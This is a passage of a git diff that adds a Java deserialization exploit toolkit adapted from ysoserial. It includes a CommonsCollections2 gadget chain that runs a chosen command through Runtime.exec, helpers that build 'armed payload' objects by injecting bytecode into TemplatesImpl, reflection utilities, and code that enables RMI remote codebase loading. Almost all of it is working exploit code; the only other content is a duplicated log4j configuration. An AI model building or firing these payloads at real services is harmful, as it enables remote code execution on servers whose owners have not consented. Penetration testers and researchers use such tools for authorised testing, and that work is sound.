java.util.Queue; + + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + ... + TransformingComparator.compare() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Authors({Authors.FROHOFF}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +public class CommonsCollections2 implements ObjectGadget { + + + public Queue getObject(String cmd) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(cmd); + // mock method name until armed + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); + // stub data for replacement later + queue.add(1); + queue.add(1); + + // switch method called by comparator + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = 1; + + return queue; + } + +} diff --git a/src/main/java/payloads/gadgets/ObjectGadget.java b/src/main/java/payloads/gadgets/ObjectGadget.java new file mode 100644 index 0000000..5cdec03 --- /dev/null +++ b/src/main/java/payloads/gadgets/ObjectGadget.java @@ -0,0 +1,56 @@ +package payloads.gadgets; + +import org.reflections.Reflections; + +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Set; + + +@SuppressWarnings("rawtypes") +public interface ObjectGadget { + + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String cmd) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectGadget.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectGadget.class); + for (Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings("unchecked") + public static Class getPayloadClass(final String className) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } catch (Exception e1) { + } + if (clazz == null) { + try { + return clazz = (Class) Class + .forName("yso.payloads.gadgets." + className); + } catch (Exception e2) { + } + } + if (clazz != null && !ObjectGadget.class.isAssignableFrom(clazz)) { + clazz = null; + } + return clazz; + } + + } +} diff --git a/src/main/java/payloads/utils/ClassFiles.java b/src/main/java/payloads/utils/ClassFiles.java new file mode 100644 index 0000000..2d90acf --- /dev/null +++ b/src/main/java/payloads/utils/ClassFiles.java @@ -0,0 +1,44 @@ +package payloads.utils; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/src/main/java/payloads/utils/Converter.java b/src/main/java/payloads/utils/Converter.java new file mode 100644 index 0000000..6c4afd2 --- /dev/null +++ b/src/main/java/payloads/utils/Converter.java @@ -0,0 +1,42 @@ +package payloads.utils; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +/** + * code from ysoserial + */ +public class Converter { + public static byte[] toBytes(Object[] objs) throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + for (Object obj : objs) { + treatObject(dos, obj); + } + dos.close(); + return baos.toByteArray(); + } + + public static void treatObject(DataOutputStream dos, Object obj) + throws IOException { + if (obj instanceof Byte) { + dos.writeByte((Byte) obj); + } else if (obj instanceof Short) { + dos.writeShort((Short) obj); + } else if (obj instanceof Integer) { + dos.writeInt((Integer) obj); + } else if (obj instanceof Long) { + dos.writeLong((Long) obj); + } else if (obj instanceof String) { + dos.writeUTF((String) obj); + } else { + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); + oos.writeObject(obj); + oos.close(); + dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header + } + } +} diff --git a/src/main/java/payloads/utils/Gadgets.java b/src/main/java/payloads/utils/Gadgets.java new file mode 100644 index 0000000..78583e9 --- /dev/null +++ b/src/main/java/payloads/utils/Gadgets.java @@ -0,0 +1,128 @@ +package payloads.utils; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import payloads.exploitType.exploitDump; + +import java.io.Serializable; +import java.lang.reflect.*; +import java.util.HashMap; +import java.util.Map; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings({ + "restriction", "rawtypes", "unchecked" +}) +public class Gadgets { + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + public static Object createTemplatesImpl(String cmd) throws Exception { + if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { + return createTemplatesImpl( + cmd, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(cmd, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + + } + + public static T createTemplatesImpl(String cmd, Class tplClass, Class abstTranslet, Class transFactory) + throws Exception { + T templates = tplClass.newInstance(); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + byte[] classBytes = exploitDump.dump(cmd); + payloads.utils.Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(payloads.utils.Gadgets.Foo.class)}); + payloads.utils.Reflections.setFieldValue(templates, "_name", "Pwnr"); + payloads.utils.Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException e) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + Reflections.setAccessible(nodeCons); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + } + + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + } + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } +} \ No newline at end of file diff --git a/src/main/java/payloads/utils/JavaVersion.java b/src/main/java/payloads/utils/JavaVersion.java new file mode 100644 index 0000000..29556c9 --- /dev/null +++ b/src/main/java/payloads/utils/JavaVersion.java @@ -0,0 +1,47 @@ +package payloads.utils; + + +/** + * @author mbechler + * + */ +public class JavaVersion { + + + public int major; + public int minor; + public int update; + + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + v.major = Integer.parseInt(parts[start + 0]); + v.minor = Integer.parseInt(parts[start + 1]); + v.update = Integer.parseInt(parts[start + 2]); + return v; + } + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } + + public static boolean isBadAttrValExcReadObj() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major > 8 && v.update >= 76); + } + + public static boolean isAtLeast(int major) { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && v.major >= major; + } +} + + diff --git a/src/main/java/payloads/utils/Reflections.java b/src/main/java/payloads/utils/Reflections.java new file mode 100644 index 0000000..4beebe0 --- /dev/null +++ b/src/main/java/payloads/utils/Reflections.java @@ -0,0 +1,67 @@ +package payloads.utils; + +import com.nqzero.permit.Permit; +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.AccessibleObject; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +@SuppressWarnings ( "restriction" ) +public class Reflections { + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } + catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object ... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T)sc.newInstance(consArgs); + } + +} \ No newline at end of file diff --git a/src/main/resources/log4g.conf b/src/main/resources/log4g.conf new file mode 100644 index 0000000..9cf2758 --- /dev/null +++ b/src/main/resources/log4g.conf @@ -0,0 +1,53 @@ +log4j.rootCategory=INFO, stdout , R + +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=[QC] %p [%t] %C.%M(%L) | %m%n + +log4j.appender.R=org.apache.log4j.DailyRollingFileAppender +log4j.appender.R.File=D:\\Tomcat 5.5\\logs\\qc.log +log4j.appender.R.layout=org.apache.log4j.PatternLayout +1log4j.appender.R.layout.ConversionPattern=%d-[TS] %p %t %c - %m%n + +log4j.logger.com.neusoft=DEBUG +log4j.logger.com.opensymphony.oscache=ERROR +log4j.logger.net.sf.navigator=ERROR +log4j.logger.org.apache.commons=ERROR +log4j.logger.org.apache.struts=WARN +log4j.logger.org.displaytag=ERROR +log4j.logger.org.springframework=DEBUG +log4j.logger.com.ibatis.db=WARN +log4j.logger.org.apache.velocity=FATAL + +log4j.logger.com.canoo.webtest=WARN + +log4j.logger.org.hibernate.ps.PreparedStatementCache=WARN +log4j.logger.org.hibernate=DEBUG +log4j.logger.org.logicalcobwebs=WARN + +log4j.rootCategory=INFO, stdout , R + +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=[QC] %p [%t] %C.%M(%L) | %m%n + +log4j.appender.R=org.apache.log4j.DailyRollingFileAppender +log4j.appender.R.File=D:\\Tomcat 5.5\\logs\\qc.log +log4j.appender.R.layout=org.apache.log4j.PatternLayout +1log4j.appender.R.layout.ConversionPattern=%d-[TS] %p %t %c - %m%n + +log4j.logger.com.neusoft=DEBUG +log4j.logger.com.opensymphony.oscache=ERROR +log4j.logger.net.sf.navigator=ERROR +log4j.logger.org.apache.commons=ERROR +log4j.logger.org.apache.struts=WARN +log4j.logger.org.displaytag=ERROR +log4j.logger.org.springframework=DEBUG +log4j.logger.com.ibatis.db=WARN +log4j.logger.org.apache.velocity=FATAL + +log4j.logger.com.canoo.webtest=WARN + +log4j.logger.org.hibernate.ps.PreparedStatementCache=WARN +log4j.logger.org.hibernate=DEBUG +log4j.logger.org.logicalcobwebs=WARN \ No newline at end of file diff --git a/src/test/java/org/unicodesec/AppTest.java b/src/test/java/org/unicodesec/AppTest.java new file mode 100644 index 0000000..041716f --- /dev/null +++ b/src/test/java/org/unicodesec/AppTest.java @@ -0,0 +1,3 @@ +package org.unicodesec; + +